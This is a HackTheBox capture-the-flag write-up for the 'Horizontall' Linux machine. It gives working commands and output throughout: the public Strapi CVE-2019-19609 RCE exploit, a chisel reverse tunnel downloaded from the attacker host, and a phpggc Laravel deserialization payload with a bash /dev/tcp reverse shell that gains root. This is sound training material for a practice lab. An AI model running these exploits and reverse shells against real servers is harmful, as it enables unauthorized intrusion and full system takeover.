# Horizontall Writeup - HackTheBox

> Exploit Strapi CMS RCE on a subdomain, gain shell, then pivot via SSH tunneling to attack a local Laravel app for root.

- **URL:** https://hackindex.io/writeups/horizontall
- **Platform:** HackTheBox
- **Difficulty:** Easy
- **Operating system:** Linux
- **Machine:** https://app.hackthebox.com/machines/horizontall?sort_by=created_at&sort_type=desc
- **Tags:** deserialization, cve-2019-19609
- **Authors:** [Mohammad Meraj](https://hackindex.io/authors/mohammad-meraj.md)
- **Published:** 2026-09-11
- **Updated:** 2026-09-11

Horizontall is a Linux box. The chain runs: nmap finds SSH and nginx on port 80, a compiled Vue.js bundle leaks a hidden API subdomain running Strapi, CVE-2019-19609 gives a shell as the strapi user, chisel exposes an internal Laravel app on port 8000, and a PHP deserialization gadget chain via phpggc and laravel-exploits gives a root shell.

## Discovery

### Port scan

```bash
nmap -p22,80 -sCV $TARGET_IP -oA nmap/nmap
# PORT   STATE SERVICE VERSION
# 22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5
# 80/tcp open  http    nginx 1.14.0 (Ubuntu)
# |_http-title: Did not follow redirect to http://horizontall.htb
```

nginx redirects to a named vhost. Add it to `/etc/hosts` before continuing.

## Subdomain Discovery

The site at `http://horizontall.htb` is a static Vue.js SPA. The compiled JS bundle hardcodes the backend API URL:

```bash
curl http://horizontall.htb/js/app.c68eb462.js | grep -oP 'http://[^"]+\.htb[^"]*'
# http://api-prod.horizontall.htb/reviews
```

`api-prod.horizontall.htb` is not linked anywhere in the visible site. Add it to `/etc/hosts` and probe it:

```bash
whatweb http://api-prod.horizontall.htb
# X-Powered-By[Strapi <strapi.io>]
```

Strapi headless CMS. Older Strapi versions have a well-documented unauthenticated RCE.

## Foothold

### CVE-2019-19609 Strapi RCE

```bash
git clone https://github.com/glowbase/CVE-2019-19609
cd CVE-2019-19609
python3 exploit.py http://api-prod.horizontall.htb $ATTACKER_IP $ATTACKER_PORT
# [+] Checking Strapi CMS version
# [+] Looks like this exploit should work!
# [+] Executing exploit
```

```bash
nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 59032
# $ whoami
# strapi
```

Shell as `strapi`.

## Internal Enumeration

```bash
ss -tulnp
# tcp  LISTEN  127.0.0.1:1337   node
# tcp  LISTEN  127.0.0.1:8000
# tcp  LISTEN  127.0.0.1:3306
```

Port 8000 is a second, internal-only web application. Pivot to it with chisel.

### Chisel tunnel

**Attacker**

```bash
chisel server --reverse -p 8001
```

**Target**

```bash
wget http://$ATTACKER_IP/chisel && chmod +x chisel
./chisel client $ATTACKER_IP:8001 R:8000:127.0.0.1:8000
# client: Connected (Latency 260ms)
```

Port 8000 is now reachable locally. Probing it reveals Laravel v8 on PHP 7.4.18, running as root on the localhost interface only.

## Privilege Escalation

### Laravel deserialization RCE

The exploit chain abuses Laravel's log file as a deserialization sink via a `monolog/rce1` gadget chain built with `phpggc`:

```bash
git clone https://github.com/ambionics/laravel-exploits
git clone https://github.com/ambionics/phpggc
cd phpggc
php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id
```

```bash
cd ../laravel-exploits
python3 laravel-rce.py http://127.0.0.1:8000 /tmp/exploit.phar
# + Log file: /home/developer/myproject/storage/logs/laravel.log
# + Logs cleared
# + Successfully converted to PHAR !
# + Phar deserialized
# --------------------------
# uid=0(root) gid=0(root) groups=0(root)
# --------------------------
```

Code execution as root. Rebuild the payload with a reverse shell:

```bash
cd phpggc
php -d phar.readonly=0 ./phpggc --phar phar -f -o /tmp/exploit.phar monolog/rce1 system 'bash -c "exec bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1"'
cd ../laravel-exploits
python3 laravel-rce.py http://127.0.0.1:8000 /tmp/exploit.phar
```

```bash
nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 53054
# root@horizontall:~# whoami
# root
```

Related

## References

- [CVE-2019-19609](https://github.com/glowbase/CVE-2019-19609) - Strapi unauthenticated RCE exploit.
- [laravel-exploits](https://github.com/ambionics/laravel-exploits) - Laravel log poisoning deserialization exploit.
- [phpggc](https://github.com/ambionics/phpggc) - PHP Generic Gadget Chains toolkit.
- [chisel](https://github.com/jpillora/chisel) - Fast TCP tunnel over HTTP.